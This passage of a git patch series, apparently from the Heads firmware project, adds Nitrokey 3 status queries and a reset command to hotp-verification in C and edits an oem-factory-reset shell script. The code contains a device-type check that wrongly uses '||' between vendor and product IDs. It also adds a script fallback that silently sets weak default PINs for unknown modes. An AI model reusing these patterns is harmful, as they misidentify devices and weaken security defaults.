&transferred, buf, sizeof buf); ++ if (r != 0) { ++ return r; ++ } ++ ++ IccResult iccResult = parse_icc_result(buf, transferred); ++ rassert(iccResult.data_status_code == 0x9000); ++ rassert(iccResult.data_len == 6); ++ full_response->nk3_extra_info.firmware_version = be32toh(*(uint32_t *) iccResult.data); ++ } ++ ++ if (full_response->device_type == Nk3) { ++ r = send_select_nk3_pgp_ccid(handle, buf, sizeof buf, &iccResult); ++ if (r != RET_NO_ERROR) { ++ return r; ++ } ++ ++ uint8_t data_iso[MAX_CCID_BUFFER_SIZE] = {}; ++ uint32_t iso_actual_length = iso7816_compose( ++ data_iso, sizeof data_iso, ++ 0xCA, 0, 0xC4, 0, 0xFF, NULL, 0); ++ ++ // encode ccid wrapper ++ uint32_t icc_actual_length = icc_compose(buf, sizeof buf, ++ 0x6F, iso_actual_length, ++ 0, 0, 0, data_iso); ++ int transferred; ++ r = ccid_send(handle, &transferred, buf, icc_actual_length); ++ if (r != 0) { ++ return r; ++ } ++ ++ r = ccid_receive(handle, &transferred, buf, sizeof buf); ++ if (r != 0) { ++ return r; ++ } ++ ++ IccResult iccResult = parse_icc_result(buf, transferred); ++ rassert(iccResult.data_status_code == 0x9000); ++ rassert(iccResult.data_len == 9); ++ full_response->nk3_extra_info.pgp_user_pin_retries = iccResult.data[4]; ++ full_response->nk3_extra_info.pgp_admin_pin_retries = iccResult.data[6]; ++ } ++ ++ r = send_select_ccid(handle, buf, sizeof buf, &iccResult); + if (r != RET_NO_ERROR) { + return r; + } +@@ -292,29 +380,30 @@ int status_ccid(libusb_device_handle *handle, int *attempt_counter, uint16_t *fi + r = get_tlv(iccResult.data, iccResult.data_len, Tag_PINCounter, &counter_tlv); + if (!(r == RET_NO_ERROR && counter_tlv.tag == Tag_PINCounter)) { + // PIN counter not found - comm error (ignore) or PIN not set +- *attempt_counter = -1; ++ pin_counter_is_error = true; + } else { +- *attempt_counter = counter_tlv.v_data[0]; ++ response->retry_admin = counter_tlv.v_data[0]; ++ response->retry_user = counter_tlv.v_data[0]; + } + + TLV serial_tlv = {}; + r = get_tlv(iccResult.data, iccResult.data_len, Tag_SerialNumber, &serial_tlv); + if (r == RET_NO_ERROR && serial_tlv.tag == Tag_SerialNumber) { +- *serial_number = be32toh(*(uint32_t *) serial_tlv.v_data); ++ response->card_serial_u32 = be32toh(*(uint32_t *) serial_tlv.v_data); + } else { + // ignore errors - unsupported or hidden serial_tlv number +- *serial_number = 0; ++ response->card_serial_u32 = 0; + } + + TLV version_tlv = {}; + r = get_tlv(iccResult.data, iccResult.data_len, Tag_Version, &version_tlv); + if (!(r == RET_NO_ERROR && version_tlv.tag == Tag_Version)) { +- *firmware_version = 0; ++ response->firmware_version = 0; + return RET_COMM_ERROR; + } +- *firmware_version = be16toh(*(uint16_t *) version_tlv.v_data); ++ response->firmware_version = be16toh(*(uint16_t *) version_tlv.v_data); + +- if (*attempt_counter == -1) { ++ if (pin_counter_is_error == true) { + return RET_NO_PIN_ATTEMPTS; + } + return RET_NO_ERROR; +diff --git a/src/operations_ccid.h b/src/operations_ccid.h +index b26b3c7..ea463b4 100644 +--- a/src/operations_ccid.h ++++ b/src/operations_ccid.h +@@ -10,7 +10,7 @@ int authenticate_ccid(struct Device *dev, const char *admin_PIN); + int authenticate_or_set_ccid(struct Device *dev, const char *admin_PIN); + int set_secret_on_device_ccid(struct Device *dev, const char *admin_PIN, const char *OTP_secret_base32, const uint64_t hotp_counter); + int verify_code_ccid(struct Device *dev, const uint32_t code_to_verify); +-int status_ccid(libusb_device_handle *handle, int *attempt_counter, uint16_t *firmware_version, uint32_t *serial_number); ++int status_ccid(libusb_device_handle *handle, struct FullResponseStatus *full_response); + + + #endif//NITROKEY_HOTP_VERIFICATION_OPERATIONS_CCID_H +diff --git a/src/structs.h b/src/structs.h +index 6309cd0..9e87134 100644 +--- a/src/structs.h ++++ b/src/structs.h +@@ -116,6 +116,25 @@ struct ResponseStatus { + uint8_t retry_user; /*not present in the firmware response for the Status command in v0.8 firmware*/ + }; + ++enum DeviceType { ++ Unknown = 0, ++ Nk3, ++ NkPro2, ++ NkStorage, ++ LibremKey, ++}; ++ ++struct FullResponseStatus { ++ enum DeviceType device_type; ++ struct ResponseStatus response_status; ++ struct { ++ // Only valid if device_type is NK3 ++ uint8_t pgp_admin_pin_retries; ++ uint8_t pgp_user_pin_retries; ++ uint32_t firmware_version; ++ } nk3_extra_info; ++}; ++ + + struct WriteToOTPSlot { + //admin auth diff --git a/patches/hotp-verification-e9050e0c914e7a8ffef5d1c82a014e0e2bf79346/46.patch b/patches/hotp-verification-e9050e0c914e7a8ffef5d1c82a014e0e2bf79346/46.patch new file mode 100644 index 000000000..781c10ffa --- /dev/null +++ b/patches/hotp-verification-e9050e0c914e7a8ffef5d1c82a014e0e2bf79346/46.patch @@ -0,0 +1,219 @@ +From de355ed93ba50280bf377772082b76b7a2285185 Mon Sep 17 00:00:00 2001 +From: =?UTF-8?q?Sosth=C3=A8ne=20Gu=C3=A9don?= +Date: Mon, 25 Nov 2024 17:04:47 +0100 +Subject: [PATCH 1/3] Add reset command for nitrokey 3 + +--- + src/main.c | 10 ++++++++-- + src/operations_ccid.c | 41 +++++++++++++++++++++++++++++++++++++++++ + src/operations_ccid.h | 1 + + 3 files changed, 50 insertions(+), 2 deletions(-) + +diff --git a/src/main.c b/src/main.c +index 059069e..b80b71d 100644 +--- a/src/main.c ++++ b/src/main.c +@@ -21,6 +21,7 @@ + + #include "ccid.h" + #include "operations.h" ++#include "operations_ccid.h" + #include "return_codes.h" + #include "utils.h" + #include "version.h" +@@ -134,8 +135,13 @@ int parse_cmd_and_run(int argc, char *const *argv) { + } + break; + case 'r': +- if (argc != 3) break; +- res = regenerate_AES_key(&dev, argv[2]); ++ if (strncmp(argv[1], "reset", 15) == 0) { ++ if (argc != 2) break; ++ res = nk3_reset(&dev); ++ } else if (strncmp(argv[1], "regenerate", 15) == 0) { ++ if (argc != 3) break; ++ res = regenerate_AES_key(&dev, argv[2]); ++ } + break; + default: + break; +diff --git a/src/operations_ccid.c b/src/operations_ccid.c +index eb46124..574155d 100644 +--- a/src/operations_ccid.c ++++ b/src/operations_ccid.c +@@ -32,6 +32,47 @@ + #include + + ++ ++int nk3_reset(struct Device *dev) { ++ libusb_device *usb_dev; ++ struct libusb_device_descriptor usb_desc; ++ usb_dev = libusb_get_device(dev->mp_devhandle_ccid); ++ ++ int r = libusb_get_device_descriptor(usb_dev, &usb_desc); ++ ++ if (r < 0) { ++ return r; ++ } ++ ++ ++ if (usb_desc.idVendor != NITROKEY_USB_VID || usb_desc.idProduct != NITROKEY_3_USB_PID) { ++ return 0; ++ } ++ ++ ++ uint8_t buf[10]; ++ // encode ++ uint32_t icc_actual_length = iso7816_compose(buf, sizeof buf, Ins_Reset, 0xDE, 0xAD, 0, 0, NULL, 0); ++ ++ // encode ccid wrapper ++ icc_actual_length = icc_compose(dev->ccid_buffer_out, sizeof dev->ccid_buffer_out, ++ 0x6F, icc_actual_length, ++ 0, 0, 0, buf); ++ // send ++ IccResult iccResult; ++ r = ccid_process_single(dev->mp_devhandle_ccid, dev->ccid_buffer_in, sizeof dev->ccid_buffer_in, ++ dev->ccid_buffer_out, icc_actual_length, &iccResult); ++ if (r != 0) { ++ return r; ++ } ++ // check status code ++ if (iccResult.data_status_code != 0x9000) { ++ return 1; ++ } ++ ++ return RET_NO_ERROR; ++} ++ + int set_pin_ccid(struct Device *dev, const char *admin_PIN) { + TLV tlvs[] = { + { +diff --git a/src/operations_ccid.h b/src/operations_ccid.h +index b26b3c7..ec0070c 100644 +--- a/src/operations_ccid.h ++++ b/src/operations_ccid.h +@@ -11,6 +11,7 @@ int authenticate_or_set_ccid(struct Device *dev, const char *admin_PIN); + int set_secret_on_device_ccid(struct Device *dev, const char *admin_PIN, const char *OTP_secret_base32, const uint64_t hotp_counter); + int verify_code_ccid(struct Device *dev, const uint32_t code_to_verify); + int status_ccid(libusb_device_handle *handle, int *attempt_counter, uint16_t *firmware_version, uint32_t *serial_number); ++int nk3_reset(struct Device *dev); + + + #endif//NITROKEY_HOTP_VERIFICATION_OPERATIONS_CCID_H + +From 8425e8c622138aef9ab207119e14f7cbedd40175 Mon Sep 17 00:00:00 2001 +From: =?UTF-8?q?Sosth=C3=A8ne=20Gu=C3=A9don?= +Date: Mon, 2 Dec 2024 10:29:59 +0100 +Subject: [PATCH 2/3] Add optional new pin when resetting + +--- + src/main.c | 9 +++++---- + src/operations_ccid.c | 6 +++++- + src/operations_ccid.h | 5 ++++- + 3 files changed, 14 insertions(+), 6 deletions(-) + +diff --git a/src/main.c b/src/main.c +index b80b71d..3f4a1cc 100644 +--- a/src/main.c ++++ b/src/main.c +@@ -38,9 +38,10 @@ void print_help(char *app_name) { + "\t%s info\n" + "\t%s version\n" + "\t%s check \n" +- "\t%s regenerate \n" ++ "\t%s reset [ADMIN PIN]\n" ++ "\t%s regenerate\n" + "\t%s set [COUNTER]\n", +- app_name, app_name, app_name, app_name, app_name, app_name); ++ app_name, app_name, app_name, app_name, app_name, app_name, app_name); + } + + +@@ -136,8 +137,8 @@ int parse_cmd_and_run(int argc, char *const *argv) { + break; + case 'r': + if (strncmp(argv[1], "reset", 15) == 0) { +- if (argc != 2) break; +- res = nk3_reset(&dev); ++ if (argc != 2 && argc != 3) break; ++ res = nk3_reset(&dev, argc == 3 ? argv[2]: NULL); + } else if (strncmp(argv[1], "regenerate", 15) == 0) { + if (argc != 3) break; + res = regenerate_AES_key(&dev, argv[2]); +diff --git a/src/operations_ccid.c b/src/operations_ccid.c +index 574155d..07834ce 100644 +--- a/src/operations_ccid.c ++++ b/src/operations_ccid.c +@@ -33,7 +33,7 @@ + + + +-int nk3_reset(struct Device *dev) { ++int nk3_reset(struct Device *dev, const char * new_pin) { + libusb_device *usb_dev; + struct libusb_device_descriptor usb_desc; + usb_dev = libusb_get_device(dev->mp_devhandle_ccid); +@@ -70,6 +70,10 @@ int nk3_reset(struct Device *dev) { + return 1; + } + ++ if (new_pin != NULL) { ++ set_pin_ccid(dev, new_pin); ++ } ++ + return RET_NO_ERROR; + } + +diff --git a/src/operations_ccid.h b/src/operations_ccid.h +index ec0070c..61cad72 100644 +--- a/src/operations_ccid.h ++++ b/src/operations_ccid.h +@@ -11,7 +11,10 @@ int authenticate_or_set_ccid(struct Device *dev, const char *admin_PIN); + int set_secret_on_device_ccid(struct Device *dev, const char *admin_PIN, const char *OTP_secret_base32, const uint64_t hotp_counter); + int verify_code_ccid(struct Device *dev, const uint32_t code_to_verify); + int status_ccid(libusb_device_handle *handle, int *attempt_counter, uint16_t *firmware_version, uint32_t *serial_number); +-int nk3_reset(struct Device *dev); ++// new_pin can be `null` ++// ++// If it is, no new pin will be set ++int nk3_reset(struct Device *dev, const char * new_pin); + + + #endif//NITROKEY_HOTP_VERIFICATION_OPERATIONS_CCID_H + +From 596f701985682adf6bfab06c78cbe132cbcb2aae Mon Sep 17 00:00:00 2001 +From: =?UTF-8?q?Sosth=C3=A8ne=20Gu=C3=A9don?= +Date: Tue, 3 Dec 2024 10:48:27 +0100 +Subject: [PATCH 3/3] Fix null pointer bug on non nk3 + +--- + src/operations_ccid.c | 8 +++++++- + 1 file changed, 7 insertions(+), 1 deletion(-) + +diff --git a/src/operations_ccid.c b/src/operations_ccid.c +index 07834ce..538d434 100644 +--- a/src/operations_ccid.c ++++ b/src/operations_ccid.c +@@ -36,6 +36,12 @@ + int nk3_reset(struct Device *dev, const char * new_pin) { + libusb_device *usb_dev; + struct libusb_device_descriptor usb_desc; ++ ++ if (!dev->mp_devhandle_ccid) { ++ // Not an NK3 ++ return RET_NO_ERROR; ++ } ++ + usb_dev = libusb_get_device(dev->mp_devhandle_ccid); + + int r = libusb_get_device_descriptor(usb_dev, &usb_desc); +@@ -46,7 +52,7 @@ int nk3_reset(struct Device *dev, const char * new_pin) { + + + if (usb_desc.idVendor != NITROKEY_USB_VID || usb_desc.idProduct != NITROKEY_3_USB_PID) { +- return 0; ++ return RET_NO_ERROR; + } + + From fd136cd95712cc4102ae0aefa5f32fffedbbdd63 Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Thu, 5 Dec 2024 13:23:37 -0500 Subject: [PATCH 401/619] oem-factory-reset: add reset secure app PIN = ADMIN_PIN at reownership, make sure defaults are set for all modes, including default which uses current defaults being DEF pins (12345678 and 123456 as master) Signed-off-by: Thierry Laurion --- initrd/bin/oem-factory-reset | 10 +++++++--- 1 file changed, 7 insertions(+), 3 deletions(-) diff --git a/initrd/bin/oem-factory-reset b/initrd/bin/oem-factory-reset index 30717fe33..7c0340aa7 100755 --- a/initrd/bin/oem-factory-reset +++ b/initrd/bin/oem-factory-reset @@ -60,8 +60,10 @@ handle_mode() { TPM_PASS=$ADMIN_PIN ;; *) - warn "Unknown mode: $mode" - exit 1 + warn "Unknown oem-factory-reset lauched mode, setting PINs to weak defaults" + USER_PIN=$USER_PIN_DEF + ADMIN_PIN=$ADMIN_PIN_DEF + TPM_PASS=$ADMIN_PIN_DEF ;; esac } @@ -144,8 +146,10 @@ reset_nk3_secret_app() { if lsusb | grep -q "20a0:42b2"; then echo echo "Resetting Nitrokey 3 secret app" + DEBUG "Restarting scdaemon to remove possible exclusive lock of dongle" + killall -9 scdaemon 2>&1 >/dev/null || true # Reset Nitrokey 3 secret app - /bin/hotp_verification reset + /bin/hotp_verification reset $ADMIN_PIN fi } From 7f9f84b83014d8dbb9c4b8b308d219d42ac54b14 Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Thu, 5 Dec 2024 13:32:23 -0500 Subject: [PATCH 402/619] modules/hotp-verification: 1.6, removing patch pr43, only keeping 46 for this PR (43 conflicts when applied atop 46. 46 is needed here) Signed-off-by: Thierry Laurion --- .../43.patch | 450 ------------------ 1 file changed, 450 deletions(-) delete mode 100644 patches/hotp-verification-e9050e0c914e7a8ffef5d1c82a014e0e2bf79346/43.patch diff --git a/patches/hotp-verification-e9050e0c914e7a8ffef5d1c82a014e0e2bf79346/43.patch b/patches/hotp-verification-e9050e0c914e7a8ffef5d1c82a014e0e2bf79346/43.patch deleted file mode 100644 index 26ad2bc45..000000000 --- a/patches/hotp-verification-e9050e0c914e7a8ffef5d1c82a014e0e2bf79346/43.patch +++ /dev/null @@ -1,450 +0,0 @@ -From 707c6545a509eeb24a06537e5f835d786c2e657e Mon Sep 17 00:00:00 2001 -From: =?UTF-8?q?Sosth=C3=A8ne=20Gu=C3=A9don?= -Date: Thu, 5 Dec 2024 16:44:30 +0100 -Subject: [PATCH] Add support for nitrokey 3 distinction between the secrets - app and other - -This now adds the secrets app version and the nitrokey 3 firmware version, -and also the gpg pins ---- - src/ccid.c | 71 +++++++++++++++++++++++++- - src/ccid.h | 2 + - src/device.c | 29 +++++------ - src/device.h | 2 +- - src/main.c | 41 +++++++++++---- - src/operations_ccid.c | 113 +++++++++++++++++++++++++++++++++++++----- - src/operations_ccid.h | 2 +- - src/structs.h | 19 +++++++ - 8 files changed, 238 insertions(+), 41 deletions(-) - -diff --git a/src/ccid.c b/src/ccid.c -index 9cf24a0..a2cc919 100644 ---- a/src/ccid.c -+++ b/src/ccid.c -@@ -104,7 +104,7 @@ IccResult parse_icc_result(uint8_t *buf, size_t buf_len) { - // .buffer_len = buf_len - }; - // Make sure the response do not contain overread attempts -- rassert(i.data_len < buf_len - 10); -+ rassert(i.data_len <= buf_len - 10); - return i; - } - -@@ -307,6 +307,75 @@ int send_select_ccid(libusb_device_handle *handle, uint8_t buf[], size_t buf_siz - return RET_NO_ERROR; - } - -+int send_select_nk3_admin_ccid(libusb_device_handle *handle, uint8_t buf[], size_t buf_size, IccResult *iccResult) { -+ unsigned char cmd_select[] = { -+ 0x6f, -+ 0x0E, -+ 0x00, -+ 0x00, -+ 0x00, -+ 0x00, -+ 0x00, -+ 0x00, -+ 0x00, -+ 0x00, -+ 0x00, -+ 0xa4, -+ 0x04, -+ 0x00, -+ 0x09, -+ 0xa0, -+ 0x00, -+ 0x00, -+ 0x08, -+ 0x47, -+ 0x00, -+ 0x00, -+ 0x00, -+ 0x01, -+ }; -+ -+ check_ret( -+ ccid_process_single(handle, buf, buf_size, cmd_select, sizeof cmd_select, iccResult), -+ RET_COMM_ERROR); -+ -+ -+ return RET_NO_ERROR; -+} -+ -+int send_select_nk3_pgp_ccid(libusb_device_handle *handle, uint8_t buf[], size_t buf_size, IccResult *iccResult) { -+ unsigned char cmd_select[] = { -+ 0x6f, -+ 0x0C, -+ 0x00, -+ 0x00, -+ 0x00, -+ 0x00, -+ 0x00, -+ 0x00, -+ 0x00, -+ 0x00, -+ 0x00, -+ 0xA4, -+ 0x04, -+ 0x00, -+ 0x06, -+ 0xD2, -+ 0x76, -+ 0x00, -+ 0x01, -+ 0x24, -+ 0x01, -+ 0x00, -+ }; -+ -+ check_ret( -+ ccid_process_single(handle, buf, buf_size, cmd_select, sizeof cmd_select, iccResult), -+ RET_COMM_ERROR); -+ -+ -+ return RET_NO_ERROR; -+} - - int ccid_init(libusb_device_handle *handle) { - -diff --git a/src/ccid.h b/src/ccid.h -index ed17dc7..3dcf106 100644 ---- a/src/ccid.h -+++ b/src/ccid.h -@@ -70,6 +70,8 @@ uint32_t icc_pack_tlvs_for_sending(uint8_t *buf, size_t buflen, TLV tlvs[], int - libusb_device_handle *get_device(libusb_context *ctx, const struct VidPid pPid[], int devices_count); - int ccid_init(libusb_device_handle *handle); - int send_select_ccid(libusb_device_handle *handle, uint8_t buf[], size_t buf_size, IccResult *iccResult); -+int send_select_nk3_admin_ccid(libusb_device_handle *handle, uint8_t buf[], size_t buf_size, IccResult *iccResult); -+int send_select_nk3_pgp_ccid(libusb_device_handle *handle, uint8_t buf[], size_t buf_size, IccResult *iccResult); - - - enum { -diff --git a/src/device.c b/src/device.c -index 4b9361e..52acece 100644 ---- a/src/device.c -+++ b/src/device.c -@@ -29,6 +29,7 @@ - #include "structs.h" - #include "utils.h" - #include -+#include - #include - #include - #include -@@ -259,23 +260,19 @@ int device_receive_buf(struct Device *dev) { - - #include "operations_ccid.h" - --int device_get_status(struct Device *dev, struct ResponseStatus *out_status) { -- assert(out_status != NULL); -+int device_get_status(struct Device *dev, struct FullResponseStatus *out_response) { -+ assert(out_response != NULL); - assert(dev != NULL); -- memset(out_status, 0, sizeof(struct ResponseStatus)); -+ memset(out_response, 0, sizeof(struct FullResponseStatus)); -+ -+ struct ResponseStatus *out_status = &out_response->response_status; - - if (dev->connection_type == CONNECTION_CCID) { -- int counter = 0; -- uint32_t serial = 0; -- uint16_t version = 0; -- int res = status_ccid(dev->mp_devhandle_ccid, -- &counter, -- &version, -- &serial); -- out_status->retry_admin = counter; -- out_status->retry_user = counter; -- out_status->card_serial_u32 = serial; -- out_status->firmware_version = version; -+ int res = status_ccid(dev->mp_devhandle_ccid, out_response); -+ // out_status->retry_admin = counter; -+ // out_status->retry_user = counter; -+ // out_status->card_serial_u32 = serial; -+ // out_status->firmware_version = version; - return res; - } - -@@ -290,7 +287,7 @@ int device_get_status(struct Device *dev, struct ResponseStatus *out_status) { - - device_send_buf(dev, GET_STATUS); - device_receive_buf(dev); -- *out_status = *(struct ResponseStatus *) dev->packet_response.response_st.payload; -+ out_response->response_status = *(struct ResponseStatus *) dev->packet_response.response_st.payload; - - if (out_status->firmware_version_st.minor == 1) { - for (int i = 0; i < 100; ++i) { -@@ -343,4 +340,4 @@ const char *command_status_to_string(uint8_t status_code) { - void clean_buffers(struct Device *dev) { - memset(dev->ccid_buffer_in, 0, sizeof dev->ccid_buffer_in); - memset(dev->ccid_buffer_out, 0, sizeof dev->ccid_buffer_out); --} -\ No newline at end of file -+} -diff --git a/src/device.h b/src/device.h -index c895546..97feeeb 100644 ---- a/src/device.h -+++ b/src/device.h -@@ -72,7 +72,7 @@ struct Device { - - int device_connect(struct Device *dev); - int device_disconnect(struct Device *dev); --int device_get_status(struct Device *dev, struct ResponseStatus *out_status); -+int device_get_status(struct Device *dev, struct FullResponseStatus *out_status); - int device_send(struct Device *dev, uint8_t *in_data, size_t data_size, uint8_t command_ID); - int device_receive(struct Device *dev, uint8_t *out_data, size_t out_buffer_size); - int device_send_buf(struct Device *dev, uint8_t command_ID); -diff --git a/src/main.c b/src/main.c -index 059069e..9b38552 100644 ---- a/src/main.c -+++ b/src/main.c -@@ -93,25 +93,46 @@ int parse_cmd_and_run(int argc, char *const *argv) { - res = RET_NO_ERROR; - break; - case 'i': {// id | info -- struct ResponseStatus status; -+ struct FullResponseStatus status; -+ memset(&status, 0, sizeof (struct FullResponseStatus)); -+ - res = device_get_status(&dev, &status); - check_ret((res != RET_NO_ERROR) && (res != RET_NO_PIN_ATTEMPTS), res); - if (strnlen(argv[1], 10) == 2 && argv[1][1] == 'd') { - // id command - print ID only -- print_card_serial(&status); -+ print_card_serial(&status.response_status); - } else { - // info command - print status - printf("Connected device status:\n"); - printf("\tCard serial: "); -- print_card_serial(&status); -- printf("\tFirmware: v%d.%d\n", -- status.firmware_version_st.major, -- status.firmware_version_st.minor); -- if (res != RET_NO_PIN_ATTEMPTS) { -- printf("\tCard counters: Admin %d, User %d\n", -- status.retry_admin, status.retry_user); -+ print_card_serial(&status.response_status); -+ if (status.device_type == Nk3) { -+ printf("\tFirmware Nitrokey 3: v%d.%d.%d\n", -+ (status.nk3_extra_info.firmware_version >> 22) & 0b1111111111, -+ (status.nk3_extra_info.firmware_version >> 6) & 0xFFFF, -+ status.nk3_extra_info.firmware_version & 0b111111); -+ printf("\tFirmware Secrets App: v%d.%d\n", -+ status.response_status.firmware_version_st.major, -+ status.response_status.firmware_version_st.minor); -+ if (res != RET_NO_PIN_ATTEMPTS) { -+ printf("\tSecrets app PIN counter: %d\n", -+ status.response_status.retry_user); -+ } else { -+ printf("\tSecrets app PIN counter: PIN is not set - set PIN before the first use\n"); -+ } -+ printf("\tGPG Card counters: Admin %d, User %d\n", -+ status.nk3_extra_info.pgp_admin_pin_retries, -+ status.nk3_extra_info.pgp_user_pin_retries); - } else { -- printf("\tCard counters: PIN is not set - set PIN before the first use\n"); -+ printf("\tFirmware: v%d.%d\n", -+ status.response_status.firmware_version_st.major, -+ status.response_status.firmware_version_st.minor); -+ if (res != RET_NO_PIN_ATTEMPTS) { -+ printf("\tCard counters: Admin %d, User %d\n", -+ status.response_status.retry_admin, status.response_status.retry_user); -+ } else { -+ printf("\tCard counters: PIN is not set - set PIN before the first use\n"); -+ } - } - } - if (res == RET_NO_PIN_ATTEMPTS) { -diff --git a/src/operations_ccid.c b/src/operations_ccid.c -index eb46124..25772e5 100644 ---- a/src/operations_ccid.c -+++ b/src/operations_ccid.c -@@ -273,14 +273,102 @@ int verify_code_ccid(struct Device *dev, const uint32_t code_to_verify) { - return RET_VALIDATION_PASSED; - } - --int status_ccid(libusb_device_handle *handle, int *attempt_counter, uint16_t *firmware_version, uint32_t *serial_number) { -+int status_ccid(libusb_device_handle *handle, struct FullResponseStatus *full_response) { -+ rassert(full_response != NULL); -+ struct ResponseStatus *response = &full_response->response_status; - rassert(handle != NULL); -- rassert(attempt_counter != NULL); -- rassert(firmware_version != NULL); -- rassert(serial_number != NULL); - uint8_t buf[1024] = {}; - IccResult iccResult = {}; -- int r = send_select_ccid(handle, buf, sizeof buf, &iccResult); -+ bool pin_counter_is_error = false; -+ int r; -+ libusb_device *usb_dev; -+ struct libusb_device_descriptor usb_desc; -+ -+ usb_dev = libusb_get_device(handle); -+ -+ r = libusb_get_device_descriptor(usb_dev, &usb_desc); -+ -+ if (r < 0) { -+ return r; -+ } -+ -+ -+ if (usb_desc.idVendor == NITROKEY_USB_VID || usb_desc.idProduct == NITROKEY_3_USB_PID) { -+ full_response->device_type = Nk3; -+ } else if (usb_desc.idVendor == NITROKEY_USB_VID || usb_desc.idProduct == NITROKEY_PRO_USB_PID) { -+ full_response->device_type = NkPro2; -+ } else if (usb_desc.idVendor == NITROKEY_USB_VID || usb_desc.idProduct == NITROKEY_STORAGE_USB_PID) { -+ full_response->device_type = NkStorage; -+ } else if (usb_desc.idVendor == LIBREM_KEY_USB_VID || usb_desc.idProduct == LIBREM_KEY_USB_PID) { -+ full_response->device_type = LibremKey; -+ } -+ -+ if (full_response->device_type == Nk3) { -+ r = send_select_nk3_admin_ccid(handle, buf, sizeof buf, &iccResult); -+ if (r != RET_NO_ERROR) { -+ return r; -+ } -+ -+ uint8_t data_iso[MAX_CCID_BUFFER_SIZE] = {}; -+ uint32_t iso_actual_length = iso7816_compose( -+ data_iso, sizeof data_iso, -+ 0x61, 0, 0, 0, 4, NULL, 0); -+ -+ // encode ccid wrapper -+ uint32_t icc_actual_length = icc_compose(buf, sizeof buf, -+ 0x6F, iso_actual_length, -+ 0, 0, 0, data_iso); -+ int transferred; -+ r = ccid_send(handle, &transferred, buf, icc_actual_length); -+ if (r != 0) { -+ return r; -+ } -+ -+ r = ccid_receive(handle, &transferred, buf, sizeof buf); -+ if (r != 0) { -+ return r; -+ } -+ -+ IccResult iccResult = parse_icc_result(buf, transferred); -+ rassert(iccResult.data_status_code == 0x9000); -+ rassert(iccResult.data_len == 6); -+ full_response->nk3_extra_info.firmware_version = be32toh(*(uint32_t *) iccResult.data); -+ } -+ -+ if (full_response->device_type == Nk3) { -+ r = send_select_nk3_pgp_ccid(handle, buf, sizeof buf, &iccResult); -+ if (r != RET_NO_ERROR) { -+ return r; -+ } -+ -+ uint8_t data_iso[MAX_CCID_BUFFER_SIZE] = {}; -+ uint32_t iso_actual_length = iso7816_compose( -+ data_iso, sizeof data_iso, -+ 0xCA, 0, 0xC4, 0, 0xFF, NULL, 0); -+ -+ // encode ccid wrapper -+ uint32_t icc_actual_length = icc_compose(buf, sizeof buf, -+ 0x6F, iso_actual_length, -+ 0, 0, 0, data_iso); -+ int transferred; -+ r = ccid_send(handle, &transferred, buf, icc_actual_length); -+ if (r != 0) { -+ return r; -+ } -+ -+ r = ccid_receive(handle, &transferred, buf, sizeof buf); -+ if (r != 0) { -+ return r; -+ } -+ -+ IccResult iccResult = parse_icc_result(buf, transferred); -+ rassert(iccResult.data_status_code == 0x9000); -+ rassert(iccResult.data_len == 9); -+ full_response->nk3_extra_info.pgp_user_pin_retries = iccResult.data[4]; -+ full_response->nk3_extra_info.pgp_admin_pin_retries = iccResult.data[6]; -+ } -+ -+ r = send_select_ccid(handle, buf, sizeof buf, &iccResult); - if (r != RET_NO_ERROR) { - return r; - } -@@ -292,29 +380,30 @@ int status_ccid(libusb_device_handle *handle, int *attempt_counter, uint16_t *fi - r = get_tlv(iccResult.data, iccResult.data_len, Tag_PINCounter, &counter_tlv); - if (!(r == RET_NO_ERROR && counter_tlv.tag == Tag_PINCounter)) { - // PIN counter not found - comm error (ignore) or PIN not set -- *attempt_counter = -1; -+ pin_counter_is_error = true; - } else { -- *attempt_counter = counter_tlv.v_data[0]; -+ response->retry_admin = counter_tlv.v_data[0]; -+ response->retry_user = counter_tlv.v_data[0]; - } - - TLV serial_tlv = {}; - r = get_tlv(iccResult.data, iccResult.data_len, Tag_SerialNumber, &serial_tlv); - if (r == RET_NO_ERROR && serial_tlv.tag == Tag_SerialNumber) { -- *serial_number = be32toh(*(uint32_t *) serial_tlv.v_data); -+ response->card_serial_u32 = be32toh(*(uint32_t *) serial_tlv.v_data); - } else { - // ignore errors - unsupported or hidden serial_tlv number -- *serial_number = 0; -+ response->card_serial_u32 = 0; - } - - TLV version_tlv = {}; - r = get_tlv(iccResult.data, iccResult.data_len, Tag_Version, &version_tlv); - if (!(r == RET_NO_ERROR && version_tlv.tag == Tag_Version)) { -- *firmware_version = 0; -+ response->firmware_version = 0; - return RET_COMM_ERROR; - } -- *firmware_version = be16toh(*(uint16_t *) version_tlv.v_data); -+ response->firmware_version = be16toh(*(uint16_t *) version_tlv.v_data); - -- if (*attempt_counter == -1) { -+ if (pin_counter_is_error == true) { - return RET_NO_PIN_ATTEMPTS; - } - return RET_NO_ERROR; -diff --git a/src/operations_ccid.h b/src/operations_ccid.h -index b26b3c7..ea463b4 100644 ---- a/src/operations_ccid.h -+++ b/src/operations_ccid.h -@@ -10,7 +10,7 @@ int authenticate_ccid(struct Device *dev, const char *admin_PIN); - int authenticate_or_set_ccid(struct Device *dev, const char *admin_PIN); - int set_secret_on_device_ccid(struct Device *dev, const char *admin_PIN, const char *OTP_secret_base32, const uint64_t hotp_counter); - int verify_code_ccid(struct Device *dev, const uint32_t code_to_verify); --int status_ccid(libusb_device_handle *handle, int *attempt_counter, uint16_t *firmware_version, uint32_t *serial_number); -+int status_ccid(libusb_device_handle *handle, struct FullResponseStatus *full_response); - - - #endif//NITROKEY_HOTP_VERIFICATION_OPERATIONS_CCID_H -diff --git a/src/structs.h b/src/structs.h -index 6309cd0..9e87134 100644 ---- a/src/structs.h -+++ b/src/structs.h -@@ -116,6 +116,25 @@ struct ResponseStatus { - uint8_t retry_user; /*not present in the firmware response for the Status command in v0.8 firmware*/ - }; - -+enum DeviceType { -+ Unknown = 0, -+ Nk3, -+ NkPro2, -+ NkStorage, -+ LibremKey, -+}; -+ -+struct FullResponseStatus { -+ enum DeviceType device_type; -+ struct ResponseStatus response_status; -+ struct { -+ // Only valid if device_type is NK3 -+ uint8_t pgp_admin_pin_retries; -+ uint8_t pgp_user_pin_retries; -+ uint32_t firmware_version; -+ } nk3_extra_info; -+}; -+ - - struct WriteToOTPSlot { - //admin auth From e01d346fe8f09c028c6607ae542f0fca8b83628a Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Thu, 5 Dec 2024 13:42:11 -0500 Subject: [PATCH 403/619] oem-factory-reset: don't set user re-ownership by default for now: use current defaults being DEF pins (12345678 and 123456 as master) Signed-off-by: Thierry Laurion --- initrd/bin/oem-factory-reset | 3 